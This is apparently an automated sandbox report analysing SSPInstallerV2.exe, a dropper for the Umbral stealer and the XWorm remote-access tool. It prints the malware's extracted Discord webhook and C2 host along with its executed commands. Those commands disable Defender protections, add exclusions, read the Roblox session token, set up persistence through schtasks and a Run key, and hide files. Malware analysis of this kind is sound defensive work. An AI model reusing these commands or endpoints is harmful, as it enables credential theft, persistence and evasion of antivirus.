Analysis
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max time kernel
127s -
max time network
142s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
03-08-2024 18:24
Static task
static1
Behavioral task
behavioral1
Sample
SSPInstallerV2.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
SSPInstallerV2.exe
Resource
win10v2004-20240802-en
General
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Target
SSPInstallerV2.exe
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Size
634KB
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MD5
8f27d14a78615dc0c6d100ca3f96a86a
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SHA1
3d267acd9ae52e0585e091826a57af1a53450ae6
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SHA256
2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9
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SHA512
0af71aed92eda0f10cd435a542d3b6fbada85be89e4d94f5c029ee81b0c0167140cf801bfdaa816d479aa435741a337f827be61683ffd32367d1b1c2d276c7d7
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SSDEEP
6144:3kuuqTIKE3cPTWyG08SLGf5FKlunGth1mQVSomL3To7ovjqjvrKi5z5XThDLGfwk:3DuqhE3cPqy9uuunGtNSnP/OzHST
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1269302041445142548/7kHNPJkzcEXhevOi0GE-ta2E1mwfJ5-sBn7_at06BC13YjVrSo2F-y7QrDWzHj8zAjbY
Extracted
xworm
by-thus.gl.at.ply.gg:35938
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Install_directory
%Temp%
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install_file
SSPinstaller.exe
Signatures
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Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/files/0x000e00000001270c-5.dat family_umbral behavioral1/memory/3056-9-0x0000000000B60000-0x0000000000BBA000-memory.dmp family_umbral -
Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/files/0x0028000000016ce6-11.dat family_xworm behavioral1/memory/2696-13-0x0000000000AE0000-0x0000000000B10000-memory.dmp family_xworm behavioral1/memory/2600-88-0x0000000001130000-0x0000000001160000-memory.dmp family_xworm -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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pid Process 1984 powershell.exe 460 powershell.exe 2040 powershell.exe 2832 powershell.exe 1380 powershell.exe 1592 powershell.exe 3044 powershell.exe 1432 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts requestInstall.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSPinstaller.lnk SSPInstaller.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSPinstaller.lnk SSPInstaller.exe -
Executes dropped EXE 4 IoCs
pid Process 3056 requestInstall.exe 2696 SSPInstaller.exe 2600 SSPinstaller.exe 2868 SSPinstaller.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\SSPinstaller = "C:\\Users\\Admin\\AppData\\Local\\Temp\\SSPinstaller.exe" SSPInstaller.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 11 discord.com 12 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1956 cmd.exe 1664 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 744 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1664 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 888 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3056 requestInstall.exe 2832 powershell.exe 1984 powershell.exe 1380 powershell.exe 1592 powershell.exe 460 powershell.exe 2172 powershell.exe 3044 powershell.exe 1432 powershell.exe 2040 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2696 SSPInstaller.exe Token: SeDebugPrivilege 3056 requestInstall.exe Token: SeIncreaseQuotaPrivilege 2572 wmic.exe Token: SeSecurityPrivilege 2572 wmic.exe Token: SeTakeOwnershipPrivilege 2572 wmic.exe Token: SeLoadDriverPrivilege 2572 wmic.exe Token: SeSystemProfilePrivilege 2572 wmic.exe Token: SeSystemtimePrivilege 2572 wmic.exe Token: SeProfSingleProcessPrivilege 2572 wmic.exe Token: SeIncBasePriorityPrivilege 2572 wmic.exe Token: SeCreatePagefilePrivilege 2572 wmic.exe Token: SeBackupPrivilege 2572 wmic.exe Token: SeRestorePrivilege 2572 wmic.exe Token: SeShutdownPrivilege 2572 wmic.exe Token: SeDebugPrivilege 2572 wmic.exe Token: SeSystemEnvironmentPrivilege 2572 wmic.exe Token: SeRemoteShutdownPrivilege 2572 wmic.exe Token: SeUndockPrivilege 2572 wmic.exe Token: SeManageVolumePrivilege 2572 wmic.exe Token: 33 2572 wmic.exe Token: 34 2572 wmic.exe Token: 35 2572 wmic.exe Token: SeIncreaseQuotaPrivilege 2572 wmic.exe Token: SeSecurityPrivilege 2572 wmic.exe Token: SeTakeOwnershipPrivilege 2572 wmic.exe Token: SeLoadDriverPrivilege 2572 wmic.exe Token: SeSystemProfilePrivilege 2572 wmic.exe Token: SeSystemtimePrivilege 2572 wmic.exe Token: SeProfSingleProcessPrivilege 2572 wmic.exe Token: SeIncBasePriorityPrivilege 2572 wmic.exe Token: SeCreatePagefilePrivilege 2572 wmic.exe Token: SeBackupPrivilege 2572 wmic.exe Token: SeRestorePrivilege 2572 wmic.exe Token: SeShutdownPrivilege 2572 wmic.exe Token: SeDebugPrivilege 2572 wmic.exe Token: SeSystemEnvironmentPrivilege 2572 wmic.exe Token: SeRemoteShutdownPrivilege 2572 wmic.exe Token: SeUndockPrivilege 2572 wmic.exe Token: SeManageVolumePrivilege 2572 wmic.exe Token: 33 2572 wmic.exe Token: 34 2572 wmic.exe Token: 35 2572 wmic.exe Token: SeDebugPrivilege 2832 powershell.exe Token: SeDebugPrivilege 1984 powershell.exe Token: SeDebugPrivilege 1380 powershell.exe Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 460 powershell.exe Token: SeDebugPrivilege 2172 powershell.exe Token: SeDebugPrivilege 3044 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeIncreaseQuotaPrivilege 3028 wmic.exe Token: SeSecurityPrivilege 3028 wmic.exe Token: SeTakeOwnershipPrivilege 3028 wmic.exe Token: SeLoadDriverPrivilege 3028 wmic.exe Token: SeSystemProfilePrivilege 3028 wmic.exe Token: SeSystemtimePrivilege 3028 wmic.exe Token: SeProfSingleProcessPrivilege 3028 wmic.exe Token: SeIncBasePriorityPrivilege 3028 wmic.exe Token: SeCreatePagefilePrivilege 3028 wmic.exe Token: SeBackupPrivilege 3028 wmic.exe Token: SeRestorePrivilege 3028 wmic.exe Token: SeShutdownPrivilege 3028 wmic.exe Token: SeDebugPrivilege 3028 wmic.exe Token: SeSystemEnvironmentPrivilege 3028 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1292 wrote to memory of 3056 1292 SSPInstallerV2.exe 30 PID 1292 wrote to memory of 3056 1292 SSPInstallerV2.exe 30 PID 1292 wrote to memory of 3056 1292 SSPInstallerV2.exe 30 PID 1292 wrote to memory of 2696 1292 SSPInstallerV2.exe 31 PID 1292 wrote to memory of 2696 1292 SSPInstallerV2.exe 31 PID 1292 wrote to memory of 2696 1292 SSPInstallerV2.exe 31 PID 3056 wrote to memory of 2572 3056 requestInstall.exe 33 PID 3056 wrote to memory of 2572 3056 requestInstall.exe 33 PID 3056 wrote to memory of 2572 3056 requestInstall.exe 33 PID 3056 wrote to memory of 1752 3056 requestInstall.exe 35 PID 3056 wrote to memory of 1752 3056 requestInstall.exe 35 PID 3056 wrote to memory of 1752 3056 requestInstall.exe 35 PID 3056 wrote to memory of 2832 3056 requestInstall.exe 37 PID 3056 wrote to memory of 2832 3056 requestInstall.exe 37 PID 3056 wrote to memory of 2832 3056 requestInstall.exe 37 PID 3056 wrote to memory of 1984 3056 requestInstall.exe 39 PID 3056 wrote to memory of 1984 3056 requestInstall.exe 39 PID 3056 wrote to memory of 1984 3056 requestInstall.exe 39 PID 2696 wrote to memory of 1380 2696 SSPInstaller.exe 41 PID 2696 wrote to memory of 1380 2696 SSPInstaller.exe 41 PID 2696 wrote to memory of 1380 2696 SSPInstaller.exe 41 PID 2696 wrote to memory of 1592 2696 SSPInstaller.exe 43 PID 2696 wrote to memory of 1592 2696 SSPInstaller.exe 43 PID 2696 wrote to memory of 1592 2696 SSPInstaller.exe 43 PID 3056 wrote to memory of 460 3056 requestInstall.exe 45 PID 3056 wrote to memory of 460 3056 requestInstall.exe 45 PID 3056 wrote to memory of 460 3056 requestInstall.exe 45 PID 3056 wrote to memory of 2172 3056 requestInstall.exe 47 PID 3056 wrote to memory of 2172 3056 requestInstall.exe 47 PID 3056 wrote to memory of 2172 3056 requestInstall.exe 47 PID 2696 wrote to memory of 3044 2696 SSPInstaller.exe 49 PID 2696 wrote to memory of 3044 2696 SSPInstaller.exe 49 PID 2696 wrote to memory of 3044 2696 SSPInstaller.exe 49 PID 2696 wrote to memory of 1432 2696 SSPInstaller.exe 51 PID 2696 wrote to memory of 1432 2696 SSPInstaller.exe 51 PID 2696 wrote to memory of 1432 2696 SSPInstaller.exe 51 PID 3056 wrote to memory of 3028 3056 requestInstall.exe 53 PID 3056 wrote to memory of 3028 3056 requestInstall.exe 53 PID 3056 wrote to memory of 3028 3056 requestInstall.exe 53 PID 3056 wrote to memory of 2496 3056 requestInstall.exe 55 PID 3056 wrote to memory of 2496 3056 requestInstall.exe 55 PID 3056 wrote to memory of 2496 3056 requestInstall.exe 55 PID 2696 wrote to memory of 888 2696 SSPInstaller.exe 57 PID 2696 wrote to memory of 888 2696 SSPInstaller.exe 57 PID 2696 wrote to memory of 888 2696 SSPInstaller.exe 57 PID 3056 wrote to memory of 1700 3056 requestInstall.exe 59 PID 3056 wrote to memory of 1700 3056 requestInstall.exe 59 PID 3056 wrote to memory of 1700 3056 requestInstall.exe 59 PID 3056 wrote to memory of 2040 3056 requestInstall.exe 61 PID 3056 wrote to memory of 2040 3056 requestInstall.exe 61 PID 3056 wrote to memory of 2040 3056 requestInstall.exe 61 PID 3056 wrote to memory of 744 3056 requestInstall.exe 63 PID 3056 wrote to memory of 744 3056 requestInstall.exe 63 PID 3056 wrote to memory of 744 3056 requestInstall.exe 63 PID 3056 wrote to memory of 1956 3056 requestInstall.exe 65 PID 3056 wrote to memory of 1956 3056 requestInstall.exe 65 PID 3056 wrote to memory of 1956 3056 requestInstall.exe 65 PID 1956 wrote to memory of 1664 1956 cmd.exe 67 PID 1956 wrote to memory of 1664 1956 cmd.exe 67 PID 1956 wrote to memory of 1664 1956 cmd.exe 67 PID 2628 wrote to memory of 2600 2628 taskeng.exe 69 PID 2628 wrote to memory of 2600 2628 taskeng.exe 69 PID 2628 wrote to memory of 2600 2628 taskeng.exe 69 PID 2628 wrote to memory of 2868 2628 taskeng.exe 70 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1752 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SSPInstallerV2.exe"C:\Users\Admin\AppData\Local\Temp\SSPInstallerV2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Users\Admin\AppData\Roaming\requestInstall.exe"C:\Users\Admin\AppData\Roaming\requestInstall.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2572
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C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\requestInstall.exe"3⤵
- Views/modifies file attributes
PID:1752
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\requestInstall.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2172
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3028
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:2496
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:1700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2040
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:744
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C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\requestInstall.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1664
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C:\Users\Admin\AppData\Roaming\SSPInstaller.exe"C:\Users\Admin\AppData\Roaming\SSPInstaller.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SSPInstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPInstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1592
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPinstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SSPinstaller" /tr "C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:888
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C:\Windows\system32\taskeng.exetaskeng.exe {3F57E21E-CBAD-4347-A552-E47166A2C604} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exeC:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe2⤵
- Executes dropped EXE
PID:2600
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C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exeC:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe2⤵
- Executes dropped EXE
PID:2868
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e4e1902a9e8fbbf4bc02711917d48034
SHA12cf798490fa1bf78e4937fa5c6398967b0d25eed
SHA25677f772204914d8ef42bc44dca8b7209645036faf5632355b5648df4ce10ae9a9
SHA512ca64ada76f4f3a80a92807d2aafa1169725659530459304860d6cd138fc38ec4703bb870fd9424951be26cf35290dba01e66872e42abaed12581cbc64f8b1155
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Filesize
171KB
MD5c9e72423dd94f42bf222d9a7fdb6eff9
SHA1c724cd012c0c17a9222427d021fab0f3a0f25ac0
SHA2568dcffd289f6b10088c345182b1d28ae492a3875b05af7f06dc0ff1d504461a16
SHA5126265cfddc5320ef22954dae241a4988898ca6a80b48e1269f9b9df6ad22603dfd4f456d76b524062e904c00609ae9084728229872f8311120d9e71ed9db40b80
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Filesize
338KB
MD54cd80597cf008592993ec6ec3780549c
SHA1827a960dcc89c07cf8a80c97e2f2a281474d8c7f
SHA25648c41a739d33db337ca33ab78b31e7bb13378508af1b2b8168594cc12268134b
SHA512024fc64eaddc10370e64fe6531030e92a0c666c40737dccae071927c36fca86cb3c0828589014a6e3d1a108846e3bbde1be3c3afe2a996f9b843e9fb51b3b43d